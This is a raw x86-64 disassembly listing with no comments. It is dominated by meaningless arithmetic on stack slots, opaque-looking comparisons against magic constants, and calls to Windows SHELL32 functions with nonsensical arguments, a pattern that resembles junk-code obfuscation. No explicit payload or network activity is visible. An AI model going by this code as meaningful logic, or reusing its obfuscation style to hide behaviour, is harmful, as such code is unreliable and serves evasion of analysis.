movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xba08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov qword [0x1402c7490], rax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
sub eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xba08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68a0]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f4], eax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
xor eax, ecx
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x152c]
sar eax, cl
mov word [0x1402c748c], ax
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [0x1402c748c]
or eax, ecx
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68d8]
mov ecx, dword [rsp + 0x68b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68ec], eax
movsx eax, byte [rsp + 0x50]
sub eax, 3
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x1538]
add eax, ecx
mov word [0x1402c748c], ax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [0x1402c748c]
sub eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb9d8], rax
mov eax, dword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x68d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f4], eax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xb9b8]
mov qword [rsp + 0xba60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba60]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
cmp dword [rsp + 0x68dc], 0xb469
jne 0x140006074
mov eax, dword [rsp + 0x68e4]
movzx ecx, al
mov eax, dword [rsp + 0x68b0]
sar eax, cl
mov dword [rsp + 0x68ec], eax
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xba68], rax
mov eax, dword [rsp + 0x68fc]
mov dword [rsp + 0x6908], eax
cmp dword [rsp + 0x6908], 0
je 0x1400065c1
jmp 0x140249845
movzx eax, word [rsp + 0x1534]
mov word [rsp + 0x153c], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x690c], al
cmp byte [rsp + 0x690c], 0xf7
je 0x14000666f
cmp byte [rsp + 0x690c], 0x6d
je 0x1400065fa
jmp 0x140006789
mov eax, dword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x68fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f4], eax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba20]
movzx r9d, word [rax]
mov rax, qword [rsp + 0xba20]
movzx r8d, word [rax]
mov rax, qword [rsp + 0xba68]
movzx edx, word [rax]
mov rax, qword [rsp + 0xba10]
movzx ecx, word [rax]
call fcn.140249d10
jmp 0x140006789
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xba70], rax
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x6910], al
cmp byte [rsp + 0x6910], 0x29
je 0x140006696
jmp 0x1400066b4
mov eax, dword [rsp + 0x68e4]
mov ecx, dword [rsp + 0x68b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d8], eax
jmp 0x140006789
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1402c7490]
mov rdx, qword [rsp + 0xba70]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000673b
mov edx, 0x22
lea rcx, [rsp + 0xba50]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov r9d, dword [rsp + 0x68b0]
mov r8d, dword [rsp + 0x6900]
mov edx, dword [rsp + 0x68ec]
mov ecx, dword [rsp + 0x6900]
call fcn.140249af0
jmp 0x140006789
lea rax, [rsp + 0x50]
mov qword [rsp + 0xba78], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov byte [rsp + 0x54], al
mov dword [rsp + 0x6914], 0xb968
lea rax, [rsp + 0x50]
mov qword [rsp + 0xba80], rax
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x1534]
add eax, ecx
mov word [rsp + 0x153c], ax
lea rax, [rsp + 0xb9d8]
mov qword [rsp + 0xba88], rax
mov eax, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x68d8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x68ec], eax
mov eax, dword [rsp + 0x68d4]
mov dword [rsp + 0x6918], eax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
sar eax, cl
movzx ecx, byte [rsp + 0x51]
movzx edx, byte [rsp + 0x53]
or ecx, edx
cmp eax, ecx
je 0x140006849
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba70], rax
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x153c]
add eax, ecx
mov word [rsp + 0x1538], ax
movzx r9d, word [rsp + 0x1530]
movzx r8d, word [rsp + 0x1530]
mov rax, qword [rsp + 0xba20]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x1530]
call fcn.140249d10
jmp 0x140006905
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba88]
mov rdx, qword [rsp + 0xba00]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jge 0x14000689e
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
jmp 0x1400068f6
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0xba10]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x1400068f6
lea r8, [rsp + 0x691c]
lea rdx, [rsp + 0x34510]
mov ecx, 0xc8
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x6920], eax
call fcn.140249c00
lea rax, [rsp + 0xba70]
mov qword [0x1402c90a8], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x53], al
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xba90], rax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov dword [rsp + 0x6924], eax
cmp dword [rsp + 0x6924], 0
je 0x14000698d
cmp dword [rsp + 0x6924], 0x738
je 0x140006959
jmp 0x1402497b4
mov edx, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
lea rcx, [rsp + 0x34510]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
xor eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
jmp 0x1402497b4
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov byte [rsp + 0x6928], al
cmp byte [rsp + 0x6928], 0
je 0x1400069bc
cmp byte [rsp + 0x6928], 0xdf
je 0x14024972d
jmp 0x140249778
lea rax, [rsp + 0x1534]
mov qword [rsp + 0xba98], rax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
sub eax, ecx
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
mov rax, qword [rsp + 0xba78]
movzx eax, byte [rax]
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
sub eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
movzx ecx, byte [rsp + 0x53]
movzx edx, byte [rsp + 0x51]
add ecx, edx
cmp eax, ecx
je 0x140006af1
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov eax, dword [rsp + 0x68f4]
mov ecx, dword [rsp + 0x6918]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb9d8], rax
mov dword [rsp + 0x28], 0x9f
lea rax, [rsp + 0x51]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xba80]
mov r8d, 0xcf
mov edx, 0xc7
mov rcx, qword [rsp + 0xbaa0]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6920], eax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402c748a], al
cmp dword [rsp + 0x68c4], 0xa497
jb 0x140006cfd
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
shl eax, cl
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0x1538]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x153c], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x52]
or eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
and eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1530], ax
mov eax, dword [rsp + 0x68c4]
sub eax, 0xe8
mov dword [rsp + 0x68c4], eax
mov eax, dword [rsp + 0x6900]
mov ecx, dword [rsp + 0x68b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d8], eax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68d4]
mov ecx, dword [rsp + 0x68fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f4], eax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xb9b0]
add rcx, rax
mov rax, rcx
mov qword [0x1402c7490], rax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1530], ax
movzx eax, word [rsp + 0x153c]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1538], ax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
xor eax, ecx
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x6918]
mov dword [rsp + 0x68fc], eax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xba70]
shl rax, cl
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb9d8], rax
jmp 0x140006b0f
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x692c], al
cmp byte [rsp + 0x692c], 0xf7
je 0x140006d18
jmp 0x14024962d
lea rax, [rsp + 0xba08]
mov qword [rsp + 0xbaa8], rax
lea rax, [rsp + 0x68fc]
mov qword [rsp + 0xbab0], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x152c]
sub eax, ecx
mov word [0x1402c748c], ax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
add eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x52], al
movzx eax, word [rsp + 0x153c]
movzx ecx, word [rsp + 0x1538]
shl eax, cl
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
movzx eax, word [rsp + 0x1538]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xbaa8]
mov qword [rsp + 0xbab8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbab8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb9b0], rax
mov eax, dword [rsp + 0x6900]
mov ecx, dword [rsp + 0x68e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68b0], eax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x68d4]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402c90a0], eax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov eax, dword [rsp + 0x68c8]
add eax, 0x81
mov dword [rsp + 0x68c8], eax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1534]
add eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xba08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x6918]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68f4], eax
mov eax, dword [rsp + 0x68f4]
mov ecx, dword [rsp + 0x68a0]
or ecx, eax
mov eax, ecx
mov dword [0x1402c90a0], eax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
shl eax, cl
mov word [rsp + 0x153c], ax
movsx eax, byte [0x1402c748a]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba70]
mov rcx, qword [rsp + 0xba08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x68a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68d4], eax
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c748c], ax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
sub eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov byte [rsp + 0x55], al
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sar eax, cl
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x68a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x68fc], eax
mov eax, dword [rsp + 0x68d8]
movzx ecx, al
mov eax, dword [rsp + 0x68b0]
shl eax, cl
mov dword [rsp + 0x68ec], eax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xba70]
mov rcx, qword [0x1402c7490]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1534]
add eax, ecx
mov word [0x1402c748c], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1530], ax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x52], al
cmp dword [rsp + 0x68c8], 0x99d
jbe 0x140006d38
movzx eax, word [rsp + 0x1534]
mov word [rsp + 0x1540], ax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov qword [rsp + 0xbac0], rax
movabs rax, 0x73ca9cf70740ba
cmp qword [rsp + 0xbac0], rax
je 0x14000723e
movabs rax, 0x77c75fe9b84b18
cmp qword [rsp + 0xbac0], rax
je 0x14000726f
jmp 0x140007293
mov eax, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x68ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d8], eax
lea rcx, [rsp + 0x345b0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xbac8], rax
jmp 0x140007293
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
lea rax, [rsp + 0x68fc]
mov qword [rsp + 0xbad0], rax
cmp dword [rsp + 0x6880], 0xa4eb
jb 0x140007802
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xba70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c748a]
shl eax, cl
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x152c]
or eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sar eax, cl
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6918]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
mov eax, dword [rsp + 0x68e4]
mov ecx, dword [rsp + 0x68b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6900], eax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movzx eax, word [rsp + 0x152c]
movzx ecx, word [0x1402c748c]
and eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1540]
sub eax, ecx
mov word [rsp + 0x152c], ax
mov eax, dword [0x1402c90a0]
mov rcx, qword [rsp + 0xbab0]
mov qword [rsp + 0xbad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbad8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6900]
mov ecx, dword [rsp + 0x68b0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d8], eax
movzx eax, word [rsp + 0x153c]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402c748c], ax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
and eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x53], al
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x6918]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x68d8]
mov ecx, dword [rsp + 0x6900]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xba70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x152c]
xor eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
shl eax, cl
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x6880]
sub eax, 0x52
mov dword [rsp + 0x6880], eax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
